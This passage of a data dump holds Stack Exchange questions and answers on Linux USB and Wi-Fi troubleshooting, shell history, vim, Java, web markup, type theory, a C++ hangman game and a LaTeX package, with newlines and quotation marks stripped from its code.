4-0:1.0: unable to enumerate USB device on port 5usb 10-1: new full-speed USB device number 2 using uhci_hcdusb 10-1: device descriptor read/64, error -110usb 10-1: device descriptor read/64, error -110usb 10-1: new full-speed USB device number 3 using uhci_hcdusb 4-3: USB disconnect, device number 2usb 4-3: new high-speed USB device number 8 using ehci-pcihub 4-3:1.0: USB hub foundhub 4-3:1.0: 4 ports detectedusb 3-4: USB disconnect, device number 3usb 3-4: new high-speed USB device number 5 using ehci-pciusb 3-4: device not accepting address 5, error -71usb 4-5: new high-speed USB device number 10 using ehci-pcicfg80211: Calling CRDA to update world regulatory domainrtl8192cu: Chip version 0x11usb 4-3.1: new full-speed USB device number 11 using ehci-pcirtl8192cu: MAC address: e8:4e:06:14:7a:77rtl8192cu: Board Type 0rtl_usb: rx_max_size 15360, rx_urb_num 8, in_ep 1rtl8192cu: Loading firmware rtlwifi/rtl8192cufw_TMSC.binusbcore: registered new interface driver rtl8192cuieee80211 phy0: Selected rate control algorithm 'rtl_rc'rtlwifi: wireless switch is onsystemd-udevd[695]: renamed network interface wlan0 to wlp0s29f7u5rtl8192cu: MAC auto ON okay!input: Microsoft X-Box 360 pad as /devices/pci0000:00/0000:00:1d.7/usb4/4-3/4-3.1/4-3.1:1.0/input/input14usbcore: registered new interface driver xpadrtl8192cu: Tx queue select: 0x05usb 9-2: new full-speed USB device number 2 using uhci_hcdhidraw: raw HID events driver (C) Jiri Kosinausbcore: registered new interface driver usbhidusbhid: USB HID core driverinput: Logitech USB Gaming Mouse as /devices/pci0000:00/0000:00:1d.1/usb9/9-2/9-2:1.0/0003:046D:C041.0001/input/input15hid-generic 0003:046D:C041.0001: input,hidraw0: USB HID v1.11 Mouse [Logitech USB Gaming Mouse] on usb-0000:00:1d.1-2/input0hid-generic 0003:046D:C041.0002: hiddev0,hidraw1: USB HID v1.11 Device [Logitech USB Gaming Mouse] on usb-0000:00:1d.1-2/input1mousedev: PS/2 mouse device common for all miceIPv6: ADDRCONF(NETDEV_UP): wlp0s29f7u5: link is not readyusb 6-2: new full-speed USB device number 2 using uhci_hcdusb 6-2: not running at top speed; connect to a high speed hubusb-storage 6-2:1.0: USB Mass Storage device detectedscsi16 : usb-storage 6-2:1.0wlp0s29f7u5: authenticate with cc:33:bb:13:8a:f4wlp0s29f7u5: send auth to cc:33:bb:13:8a:f4 (try 1/3)wlp0s29f7u5: authenticatedwlp0s29f7u5: associate with cc:33:bb:13:8a:f4 (try 1/3)wlp0s29f7u5: RX AssocResp from cc:33:bb:13:8a:f4 (capab=0x431 status=0 aid=56)wlp0s29f7u5: associatedIPv6: ADDRCONF(NETDEV_CHANGE): wlp0s29f7u5: link becomes ready"  , "title": "USB error -110 (power exceeded) but works when reconnecting"  , "tags": "arch linux;usb"  } 
{  "id": "_unix.386319"  , "question": "If I start ksh or mksh, my upwards arrow does nothing:$ ksh$ ^[[A^[[A^[[A^[[A^[[ABut it works with bash if I start bash and press the upwards arrow.$ bashdeveloper@1604:~$ ssh root@127.0.1.2 -p 2223I have no history if I start ksh or mksh. I even set the $HISTFILE variable and still no history if I start a new shell. What can I do about it? Is it true that the Korn shell can't remember history between sessions while the bash shell can?If I like the Korn shell and I want a better and more extensive history, is it possible to use that functionality with ksh?"  , "title": "How to enable ksh command history between sessions"  , "tags": "shell;ksh;mksh"  } 
{  "id": "_vi.12640"  , "question": "I just don't undstand the VIM help for pattern matching and substitution. I've tried.I have many lines of code, like so:G1 X139.164 Y115.348 E8.40357 ; perimeterG1 X138.903 Y115.845 E8.57778 ; perimeterG1 X136.919 Y119.355 E9.82896 ; perimeterG1 X135.204 Y125.148     F250    G1 X133.565 Y124.281 E11.75686     F250    I want to remove uppercase E and everything following it on each line - or truncate each line, beginning with the E.Things I've tried::%s/E\\>//g:1,$/E\\>\\.//:%s/E\\>\\zs.*//Please help."  , "title": "How to truncate every line after pattern"  , "tags": "substitute"  , "accepted_answer": "Your last attempt is almost correct.  I would use this::%s/E.*//The OCD part of me would also want to remove any spaces before the E.  That could be done with::%s/\\s*E.*//The \\> was causing your attempts to fail because by default numbers are considered part of the word.  See :help \\> and :help iskeyword for more info.The \\zs isn't necessary in this case since you are trying to replace the entire search pattern.  If you were to use it, you would want it in front of the E since you want to remove the E as well.  The \\zs would be useful if, for example, you only wanted to remove the E and everything after on lines starting with G2.  Then you could do something like::%s/^G2.*\\zs\\s*E.*//"  } 
{  "id": "_codereview.44662"  , "question": "I have a list of opened nodes, with each step about 3000 nodes are opened and I want to put to the opened list only those nodes that are not already there. For now I'm just comparing each new one to all of the ones already in the opened list and only add it if it's not there. But that is around n*3000^2 comparisons for the nth step and makes the progress slower and slower  each step. Is there a way to do it faster. Or at least is there a structure that would be better than ArrayList.This is part of the bigger code, but basically the method I use:public void addEverything() {    List<gameState> list = current.neighbours;    for (gameState state : list) {        if (!isOpened(state)) {            opened.add(state);        }    }}public boolean isOpened(gameState state) {    for (int i = 0; i < opened.size(); i++) {        if (state.isSame(opened.get(i)))            return true;    }    return false;}As for the isSame() method from the gameState class, it just returns true when the two gameStates are considered the same."  , "title": "Comparing list elements in an effective way"  , "tags": "java;performance"  , "accepted_answer": "Instead of implementing isSame implement equals and hashCode. After that you could use a HashSet (or LinkedHashSet if the order of elements is important). Set is a collection that contains no duplicate elements and inserting/searching is much faster than searching in a list.Set<GameState> opened = new LinkedHashSet<GameState>();public void addEverything() {    List<GameState> list = current.neighbours;    for (GameState state : list) {        opened.add(state);    }}If you need a list, you can convert it back after the loop:List<GameState> openedList = new ArrayList<GameState>(opened);See also: Overriding equals and hashCode in JavaAccording to the Java Code Conventions, class names in Java usually starts with uppercase letters."  } 
{  "id": "_softwareengineering.161840"  , "question": "I am confronted with the problem of migrating a huge monolithic java web application towards a more service oriented approach. The application has grown for years from what it was originally desinged for and is still growing. That means a lot of changed customer requriements where development under time pressure with few concernce about code quality. That led to very very complex code structure (no modular packaging, a lot of complex inheritants, mix of functionality in classes and as good as no documentation).Now step by step funcionality shall be extracted and run as service.Replacement/Redevelopment is currently out of questions. So the code should be extraced and wrapped so it can be replaced later with a new cleaner version.The problem I now have to deal with is that it is really hard to identify the code that represents a functionality and extracting it without breaking other functionalities or even the whole application.Any ideas how I can approach this problem? I am open to everything."  , "title": "Advise on How To migrate a huge monolithic java application towards something service-oriented"  , "tags": "architecture;services;reverse engineering"  } 
{  "id": "_webmaster.25826"  , "question": "i have a problem with my site http://www.cyprusproperty-4sale.com/123456789.aspit looks OK in IE9 but not in Firefox, IE8 & IE7.Could you please help me with that?"  , "title": "Website looks OK in IE9, but not in Firefox, IE8 and IE7"  , "tags": "website design"  } 
{  "id": "_webmaster.99998"  , "question": "Is this what is supposed to happen? If so, why?Here's an example (test code here):<script type=application/ld+json>{    @context: http://schema.org,    @type: WebPage,    @id: http://example.com/}</script><script type=application/ld+json>{ @context: http://schema.org, @type: BreadcrumbList, itemListElement:{   @type: ListItem,   position: 1,   item:{    @id: http://example.com/,    name: Lecture 12: Graphs, networks, incidence matrices    }  }}</script>"  , "title": "When a WebPage (or similar type) uses an ID that matches a breadcrumb ID, why does the WebPage become part of the BreadcrumbList?"  , "tags": "schema.org;google rich snippets tool;breadcrumbs;webpage"  , "accepted_answer": "Yes, I think it makes sense that Googles SDTT does this. Its just a usability question if the WebPage item should be displayed as top-level item in addition; it doesnt affect the semantics.In the first script data block, you say that the WebPage has the URI http://example.com/. In the second script data block, you say that the value of the item property has the same URI, http://example.com/.Because these two items have the same URI, they have to be the same thing. You may want to use the breadcrumb property to make clear that the BreadcrumbList belongs to the WebPage:<script type=application/ld+json>{ @context: http://schema.org, @type: WebPage, @id: http://example.com/, breadcrumb: {   @type: BreadcrumbList,   itemListElement:{     @type: ListItem,     position: 1,     item:{      @id: http://example.com/,      name: Lecture 12: Graphs, networks, incidence matrices      }    }  }}</script>As you can see in the SDTT, the properties you provide for the item property will be displayed under the top-level WebPage item.(N.B.: Googles SDTT seems to be bugged for cases where different types get provided for the same URI.)"  } 
{  "id": "_unix.85034"  , "question": "I wanted to add mpd informations to my conky and therefore I created a script which role is to get the cover from ID3 tagsThis script is called using the {exec 'path'} commandMy probleme is that since I added this feature, my conky refuses to stand on his own :If I launch it from a terminal usingconky -c `path.conkyrc` &it will stop when closing the terminal. I tried using the -d option as wellI also tried to launch it at startup with a sh script run at startup : It works well at first but if I open a terminal, conky will close with the terminal i openned ... strangeremoving the call to {exec 'path'} solves everything so it is clearly the problem originFor the record, the script i am using is#!/bin/shMPD_MUSIC_PATH=/media/Media/MusicTMP_COVER_PATH=/tmp/mpd-track-coverexiftool -b -Picture $MPD_MUSIC_PATH/$(mpc --format %file% current) > $TMP_COVER_PATH &"  , "title": "{exec} cause Conky to stop"  , "tags": "conky"  , "accepted_answer": "The issue wasn't conky closing but it going behind everything, including the wallpaper.Changing the window settings solved the problem:own_window yesown_window_type normalown_window_transparent noown_window_argb_visual yesown_window_type normalown_window_class conky-semiown_window_hints undecorate,sticky,skip_taskbar,skip_pager,belowown_window_argb_value 128own_window_colour 000000"  } 
{  "id": "_codereview.79094"  , "question": "var saveUser = function(name, profile){  assert(typeof name === 'string')  assert(profile instanceof Profile)  return new bluebird.Promise(function(resolve, reject){    // async code saving user to DB  })}Orvar saveUser = function(name, profile){  return new bluebird.Promise(function(resolve, reject){    try {      assert(typeof name === 'string')      assert(profile instanceof Profile)    } catch(err){      return reject(err)    }    // async code saving user to DB  })}Which way is better?It is good idea to catch validation errors and throw custom ValidationError instead?"  , "title": "Handling argument validation in JavaScript"  , "tags": "javascript;validation;node.js;comparative review"  } 
{  "id": "_unix.43966"  , "question": "I'm using biosdevname on a CentOS 6.3 server to name my interfaces in a rational way. On our new Dell PowerEdge C6145, we have 2 embedded ports and two PCI cards with 4 ports each.On our other Dell 815 servers with a similar configuration, we get em1, em2, (and actually em3 and em4 on those), and then p1p1, p1p2, p1p3, p1p4, and p2p1, p2p2, p2p3, p2p4.For whatever reason this system gives 120 for the slot number rather than 1. Now, I can accept that it might not be slot one internally, but it's definitely also not the one hundred and twentieth.I updated to biosdevname 0.4.1 from Fedora Rawhide but am getting the same result.Since our puppet configuration is expecting the other names, this is a hassle. We can work around it, but I'd rather only do the workaround if there is a rational explanation  either a bug needing a temporary fix, or something that I don't understand which makes the large number actually sensible.So, is there such a explanation?"  , "title": "biosdevname is giving me p120p1 instead of p1p1 -- is this correct?"  , "tags": "networkcard"  } 
{  "id": "_unix.100888"  , "question": "I'm running Linux Mint Debian Edition with Update Pack 7. I'm trying to connect to a WPA enterprise network using TTLS and PAP, with no luck.The problem seems to be in authentication. Visually, NetworkManager keeps asking my password time after time. The password is correct and works both on Android, Ubuntu and ArchLinux Manjaro. I have seen it work on a LMDE UP6 before in which now also doesn't work (UP7).Here is the log I'm getting (with time removed for readability)NetworkManager[2641]: get_secret_flags: assertion `is_secret_prop (setting, secret_name, error)' failedNetworkManager[2641]: <info> Activation (wlan0) Stage 1 of 5 (Device Prepare) scheduled...NetworkManager[2641]: <info> Activation (wlan0) Stage 1 of 5 (Device Prepare) started...NetworkManager[2641]: <info> (wlan0): device state change: need-auth -> prepare (reason 'none') [60 40 0]NetworkManager[2641]: <info> Activation (wlan0) Stage 2 of 5 (Device Configure) scheduled...NetworkManager[2641]: <info> Activation (wlan0) Stage 1 of 5 (Device Prepare) complete.NetworkManager[2641]: <info> Activation (wlan0) Stage 2 of 5 (Device Configure) starting...NetworkManager[2641]: <info> (wlan0): device state change: prepare -> config (reason 'none') [40 50 0]NetworkManager[2641]: <info> Activation (wlan0/wireless): connection 'EduRoam CACert' has security, and secrets exist.  No new secrets needed.NetworkManager[2641]: <info> Config: added 'ssid' value 'eduroam'NetworkManager[2641]: <info> Config: added 'scan_ssid' value '1'NetworkManager[2641]: <info> Config: added 'key_mgmt' value 'WPA-EAP'NetworkManager[2641]: <info> Config: added 'password' value '<omitted>'NetworkManager[2641]: <info> Config: added 'eap' value 'TTLS'NetworkManager[2641]: <info> Config: added 'fragment_size' value '1300'NetworkManager[2641]: <info> Config: added 'phase2' value 'auth=PAP'NetworkManager[2641]: <info> Config: added 'ca_path' value '/etc/ssl/certs'NetworkManager[2641]: <info> Config: added 'ca_path2' value '/etc/ssl/certs'NetworkManager[2641]: <info> Config: added 'ca_cert' value '/home/darkhogg/.eduroam/ca.pem'NetworkManager[2641]: <info> Config: added 'identity' value 'danielescoz@estumail.ucm.es'NetworkManager[2641]: <info> Config: added 'anonymous_identity' value 'anonymous@ucm.es'NetworkManager[2641]: <info> Config: added 'bgscan' value 'simple:30:-45:300'NetworkManager[2641]: <info> Config: added 'proactive_key_caching' value '1'NetworkManager[2641]: <info> Activation (wlan0) Stage 2 of 5 (Device Configure) complete.NetworkManager[2641]: <info> Config: set interface ap_scan to 1NetworkManager[2641]: <info> (wlan0): supplicant interface state: disconnected -> scanningNetworkManager[2641]: <info> (wlan0): supplicant interface state: scanning -> authenticatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: authenticating -> associatedNetworkManager[2641]: <info> (wlan0): supplicant interface state: associated -> disconnectedNetworkManager[2641]: <info> (wlan0): supplicant interface state: disconnected -> scanningNetworkManager[2641]: <info> (wlan0): supplicant interface state: scanning -> authenticatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: authenticating -> associatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: associating -> associatedNetworkManager[2641]: <info> (wlan0): supplicant interface state: associated -> disconnectedNetworkManager[2641]: <info> (wlan0): supplicant interface state: disconnected -> scanningNetworkManager[2641]: <info> (wlan0): supplicant interface state: scanning -> authenticatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: authenticating -> associatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: associating -> associatedNetworkManager[2641]: <info> (wlan0): supplicant interface state: associated -> disconnectedNetworkManager[2641]: <info> (wlan0): supplicant interface state: disconnected -> scanningNetworkManager[2641]: <info> (wlan0): supplicant interface state: scanning -> authenticatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: authenticating -> associatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: associating -> associatedNetworkManager[2641]: <info> (wlan0): supplicant interface state: associated -> disconnectedNetworkManager[2641]: <info> (wlan0): supplicant interface state: disconnected -> scanningNetworkManager[2641]: <warn> Activation (wlan0/wireless): association took too long.NetworkManager[2641]: <info> (wlan0): device state change: config -> need-auth (reason 'none') [50 60 0]NetworkManager[2641]: <warn> Activation (wlan0/wireless): asking for new secretsNetworkManager[2641]: <info> (wlan0): supplicant interface state: scanning -> authenticatingNetworkManager[2641]: <info> (wlan0): supplicant interface state: authenticating -> disconnectedNetworkManager[2641]: <warn> Couldn't disconnect supplicant interface: This interface is not connected.The network is eduroam, used by my university to provide WiFi access. More information can be found here. In particular, I'm from Spain, in Univerdad Complutense de Madrid. This may be relevant as I understand every university implements it more or less as they want.I have unsuccessfully followed multiple tutorials involving wpa_supplicant scripts and configuration, and the result is always the same: Authentication fails and it asks my password again on a loop."  , "title": "NetworkManager failing to authenticate to WPA-EAP using TTLS and PAP in LMDE"  , "tags": "debian;linux mint;networkmanager;wpa supplicant"  , "accepted_answer": "Recent updates to wpa_supplicant have apparently solved this problem. (I am no longer using Linux Mint. I have since switched to Manjaro, which uses wpa_supplicant 2.1 at the time of this writing.)"  } 
{  "id": "_cstheory.25850"  , "question": "I'm trying to understand the connections between a few different concepts fundamental to dependent type theory.Dependent functions ($\\Pi$-types)Including non-dependent functions ($A \\rightarrow B$)Dependent pairs ($\\Sigma$-types)Including non-dependent products ($A \\times B$)Coproducts ($A + B$)Homotopy Type Theory says the following about $\\Sigma$s and $\\Pi$s:[ $\\Sigma$ ] is called a dependent pair type, or $\\Sigma$-type, because in set theory it corresponds to an indexed sum (in the sense of a coproduct or disjoint union) over a given type.The name $\\Pi$-type is used because this type can also be regarded as the cartesian product over a given type(I don't think I fully understand this point)In a non-dependent setting I'm accustomed to calling coproducts sums because the number of inhabitants of a coproduct is the sum of its constituent types' inhabitants - $|A+B| = |A| + |B|$. Likewise I call dependent pairs products because $|(A,B)| = |A| \\cdot |B|$. Also functions can be called exponentials - $|A \\rightarrow B| = |B|^{|A|}$!Now for the question.Why does it make sense in Type Theory to use $\\Sigma$ for products and $\\Pi$ for exponentials? It seems like everything is shifted between non-dependent and dependent types.sums approximately correspond to dependent coproductsproducts approximately correspond to dependent sumsexponentials approximately correspond to dependent productswhat about dependent exponentials?What's the deeper connection?"  , "title": "Dependent Sums and Products"  , "tags": "type theory;dependent type"  , "accepted_answer": "I think what's confusing you is that $A \\times B$ is both a product and a coproduct:It is the product of two factors, namely $A$ and $B$.It is the coproduct of $A$-many copies of $B$.Once you realize this, you will see that we can obtain $A \\times B$ as both a $\\sum$ and a $\\prod$:Take $P : \\mathtt{bool} \\to \\mathsf{Type}$ where $P(\\mathtt{false}) = A$ and $P(\\mathtt{true}) = B$. Then$$\\sum_{b : \\mathtt{bool}} P(b) \\simeq A + B$$and$$\\prod_{b : \\mathtt{bool}} P(b) \\simeq A \\times B$$Take $Q : A \\to \\mathsf{Type}$ where $P(x) = B$ for all $x : A$. Then$$\\sum_{x : A} Q(x) \\simeq A \\times B$$and$$\\prod_{x : A} Q(x) \\simeq (A \\to B)$$We should therefore not pay attention to $A \\times B$ when deciding on a good naming scheme for these two constructs.The dependent exponential is exactly a dependent product."  } 
{  "id": "_codereview.122686"  , "question": "#include <iostream>#include <string>#include <algorithm>#include <time.h>int faults = 0;int hangman(); int i = hangman();int main(){srand(time(NULL));while (i == 1){    std::string words[7]{Alpha, Cornwall, Crepuscular, Blind, Steroid, Plunder, Talisman};    std::string word = words[rand() % 7];    int n;    n = rand() % word.length();    char underscore = '_';    char checkAnswer = word.at(n);    word.at(n) = underscore;    std::cout << word;    char answer;    std::cin >> answer;    if (answer == checkAnswer){        std::cout << Correct!;    }    else{        faults++;        hangman();    }}}      int hangman(){       if (faults == 0){        std::cout << |---------------------- << std::endl;        std::cout << |                      | << std::endl;        std::cout << | << std::endl;        std::cout << | << std::endl;    std::cout << | << std::endl;    return 1;}else if (faults == 1){    std::cout << |---------------------- << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      O << std::endl;    std::cout << | << std::endl;    std::cout<<| << std::endl;    return 1;}else if (faults == 2){    std::cout << |---------------------- << std::endl;    std::cout << |                      |<<std::endl;    std::cout << |                      O << std::endl;    std::cout << |                      | << std::endl;    std::cout << | << std::endl;        ;    return 1;}else if (faults == 3){    std::cout << |---------------------- << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      O << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                     / << std::endl;        ;    return 1;}else if (faults == 4){    std::cout << |---------------------- << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      O << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      X << std::endl;    return 1;}else if (faults == 5){    std::cout << |---------------------- << std::endl;        std::cout << |                      | << std::endl;        std::cout << |                      O << std::endl;        std::cout << |                      | << std::endl;        std::cout << |                      X << std::endl;        std::cout <<                        - << std::endl;    return 1;}else if (faults == 6){    std::cout << |---------------------- << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      O << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      X << std::endl;    std::cout <<                       - - << std::endl;    return 1;}else if (faults == 7){    std::cout << |---------------------- << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      O << std::endl;    std::cout << |                      | << std::endl;    std::cout << |                      X << std::endl;    std::cout <<                       - - << std::endl;    std::cout << Dead.Dead.The hangman is dead!You lose! << std::endl;    return 0;}}"  , "title": "Console HangMan game"  , "tags": "c++;hangman"  } 
{  "id": "_softwareengineering.348670"  , "question": "I have 2 third-party providers, both do a similar function(this could be logging, messaging, etc), and both have events that the client must subscribe to.I want to know what design patterns or methods I need so that I could swap out one with the other without changing any code. My main concern is how to abstract the events. One provider will have certain events that needs wiring up to handlers with certain signatures, and the other will have its own.Should I have some kind of dictionary of delegates that is exposed via a field on the interface?I use C#."  , "title": "How to swap between 2 third-party providers when both implement different events?"  , "tags": "c#;design patterns;event handling"  } 
{  "id": "_softwareengineering.170334"  , "question": "Now, in c++ '...' became a first class operator.In speech, how do you pronounce it?So far I've heard:dot dot dottriple dotellipsisrelated: Is it OK to replace ... with ellipsis in writing?e.g. The ellipsis operator expands the packEDIT (clarification): We are all aware that '...' as a punctuation mark is indeed called ellipsis. But in the context of C++ we don't pronounce the names of the punctuation mark. For example, the '&' operator, depends on the context is pronounced as 'and', 'bitwise and', 'address of', 'logical and' (when && is used), or 'reference'. It is rarely pronounced as 'ampersand'.In speeches, I've a feeling that 'dot dot dot' is used more often. For example: http://channel9.msdn.com/Events/GoingNative/GoingNative-2012/Variadic-Templates-are-Funadic (an excellent presentation about variadic templates).On the other hand, 'dot dot dot' is awkward hard to pronouce ('d' and 't' are both pronounce with the tongue).Can we pronounce it 'unpack'?"  , "title": "How do you pronounce the '...' operator"  , "tags": "c++;c++11"  , "accepted_answer": "in the context of C++ we don't pronounce the names of the punctuation markI disagree with your premise. In my experience people refer to the meaning of the symbol when that's what they're talking about, but use the name when they need to refer to the symbol itself:I see your problem: you're using bitwise AND instead of logical AND -- you need to use two ampersands for logical AND.The trouble with ... in C and C++ is that it's not an ellipsis character. I'm sure it's meant to represent an ellipsis, and its meaning is similar to what an ellipsis represents in English, but I'd guess that most compilers would choke on a real ellipsis (). That surely wasn't an issue in the old days, when ASCII and EBCDIC were all there was and ellipses could only be simulated with .... These days, though, you might cause some confusion if you said:I see your problem: that function should take variadic arguments -- add an ellipsis to the declaration.To be really precise in such a situation, you should say dot dot dot. If you're just talking about existing code, though, it'd be fine to say elipsis:You can see from the ellipsis that foo(int bar, ...) takes a variable number of arguments.Can we pronounce it 'unpack'?Only if you don't care about being understood, or if you plan to preface your comments with I'm going to pronounce 'dot-dot-dot' as 'unpack.'"  } 
{  "id": "_webmaster.53987"  , "question": "I'm looking to register a few more domains for my company, I have my-company.com at the moment, but now require my-company.com.au and my-company.nl and others, for example .ie.I'm running through my options and wondering what is the best.Duplicate all the content on the .com package and make a replica at the other domainsBuy the other domains but do a 301 redirect back to the .com domainCreate a full new website with different content for the new domains, thus having no text duplicationWe currently sell all over the world so would like to raise our search rankings in various countries. Can this be done by buying the domain in the country, and if so, how will the above methods affect our search rankings?Any other suggestions are welcome!"  , "title": "What are the search engine affects of registering the same domain on multiple top level domains?"  , "tags": "seo;google;search engines;bing;yahoo"  } 
{  "id": "_codereview.125532"  , "question": "I have written a LaTeX package to visualize B+ trees.The main purpose is to provide a simple but powerful package which provides a convenient interface.However, this is my first LaTeX package and I would also like to know where I can do better.So I'd like to get reviews from these two points of view:Simplicity of the implementation and convenience of the interfaceImprovements/Criticism from a LaTeX point of viewHere's my package code and an example of how to use it.btreevis.sty\\NeedsTeXFormat{LaTeX2e}\\ProvidesPackage{btreevis}[2015/06/24 B+ Tree Visualization Package]%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PACKAGES%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\\RequirePackage{tikz}     \\RequirePackage{ifthen}   \\RequirePackage{etoolbox}%\\RequirePackage{calc}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LIBRARIES%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TikZ\\usetikzlibrary{arrows, matrix, calc}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% COUNTERS (GLOBAL)%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% The number of pointers per node (often referred to as m in B+ tree context)\\newcount\\noOfPointersPerNode%% Used to number pointers and keys consecutively inside a B+ tree node\\newcount\\pointerCounter%% Used in the connect macros to know where the arrows have to start\\newcount\\pointerNumber%% Used in the connect macros to hold the number of the current (source) node to% connect to\\newcount\\nodeNumber%% Used in the connect macros to hold the number of the next (destination) node% to connect to\\newcount\\nextNodeNumber%% Used temporarily in the connect macros\\newcount\\tempCounter%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DEFAULT STYLES (GLOBAL)%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Default style of a B+ tree node. Provides all important properties a B+ tree% node should have such that the resulting B^+ tree looks beautiful.% May be overridden by an own style.\\tikzstyle{BTreeNodeDefault} = [  draw,   matrix,  matrix of nodes,  % must be used; otherwise the matrix content generation does not work  ampersand replacement=\\&,  % if inner sep != 0, there is a border around the matrix of nodes  inner sep = 0,  nodes = {    draw,    rectangle,    % better readability; otherwise node border and content do overlay    inner sep = 1mm,    % workaround to make nodes look better;    % better in the sense that all nodes in the matrix of nodes have the same    % height and depth independent of their content    text height = \\heightof{ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789},    text depth = \\depthof{ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789},    % scaling factor of nodes; nodes have to be scaled independently from the    % whole tikzpicture (at least in some cases)    scale = 1  }]% Default style of a B+ tree.% May be overriden by own styles but has all important properties.\\tikzstyle{BTreeDefault} = [  % scaling factor of the whole picture  scale = 1,  % must be used; otherwise the tree environment draws its own connecting arrows  edge from parent/.style = {}]%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MACROS (PACKAGE INTERNAL)%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Helper macro (only for package internal usage).% Creates the content for two nodes (to be used in a matrix of nodes).% One with a given content (a key node) and one corresponding pointer node% (left of the key node). The naming of both key and pointer nodes is done% automatically. This macro is used to generate the content of the matrix of% nodes for a B+ tree node in the macro \\CreateBTreeNode[4].%% Be careful when modifying this macros: Because the content just generates a% part of a matrix no blank lines should be inserted in this macros (this may% causes strange errors when compiling).%% Naming schema: l#3-n#4-k#2 for search keys and l#3-n#4-p#2 for pointers.%% Arguments:%   #1 ...  The value to be inserted into the node. If empty an empty node is%           generated.%   #2 ...  The pointer/key number, e.g. if #2 is 2, the pointer nodes third%           part of the name is '-p2' and the value nodes third part of the name%           is '-k2'%   #3 ...  The level number, e.g. if #3 is 3, the nodes first part of the name%           is 'l3'%   #4 ...  The node number, e.g. if #4 is 4, the nodes second part of the name%           is '-n4'%% Example of the usage:%   \\@create@key@matrix@node{3}{1}{2}{1}%%   (Never needed because it is more of an internal macro to draw the B+ tree).%   Generates two nodes: the left (pointer) node named 'l2-n1-p1' containing no%   value and a node right of it named 'l2-n1-k1' containing the value '3'. So%   if the initial matrix was an empty matrix of nodes [], the subsequent matrix%   contains two nodes [| 3].%%\\newcommand{\\@create@key@matrix@node}[4] {%  % empty pointer node (left)  |(l#3-n#4-p#2) [fill=gray!50]| {\\vphantom{1}} \\&%  % check presence of argument #1  \\ifx&#1&%    % empty key node (right)    |(l#3-n#4-k#2)| {\\hphantom{1}} \\&%  \\else%    % key node with value (right)    |(l#3-n#4-k#2)| {#1} \\&%  \\fi%}%%%% Helper macro (only for package internal usage).% Creates the content for an empty node (to be used in a matrix of nodes).% The naming of this node is done automatically. This macro is used to generate% the content of the matrix of nodes for a B+ tree node in the macro% \\CreateBTreeNode[4].%% Naming schema: l#2-n#3-p#1%% Arguments:    %   #1 ...  The pointer number, e.g. if #1 is 2, the pointer nodes third part of%           the name is '-p2'%   #2 ...  The level number, e.g. if #2 is 3, the nodes first part of the name%           is 'l3'%   #3 ...  The node number, e.g. if #3 is 4, the nodes second part of the name%           is '-n4'%% Example of the usage:%   \\@create@key@matrix@node{5}{2}{1}%%   (Never needed because it is more of an internal macro to draw the B+ tree).%   Generates a single empty node named 'l2-n1-p5' (which is in most cases is%   the rightmost part of a B+ tree node). So if the initial matrix is%   [| 3 | 5], the subsequent matrix is [| 3 | 5 |].%%\\newcommand{\\@create@pointer@matrix@node}[3] {%  % empty pointer node  |(l#2-n#3-p#1) [fill=gray!50]| {\\vphantom{1}} \\&%}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MACROS (GLOBAL)%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Just a setter to set the \\noOfPointersPerNode variable.%% Arguments:%   #1 ...  The value to be assigned to \\noOfPointersPerNode%% Example of the usage:%   \\setNoOfPoinersPerNode{4}%%   Sets \\noOfPointersPerNode to 4.%%\\newcommand{\\SetNoOfPoinersPerNode}[1]{%  \\noOfPointersPerNode = #1%}%%%% Generates the content of a complete B+ tree node (matrix of nodes) for given% values supplied as comma-separated list. This generated content is stored into% a variable supplied as argument. If the comma-separated list contains less% than (\\noOfPointersPerNode - 1) elements, the remaining nodes are left empty% but are generated to be visualized. Hence, if \\noOfPointersPerNode is set to 4% and only a list of 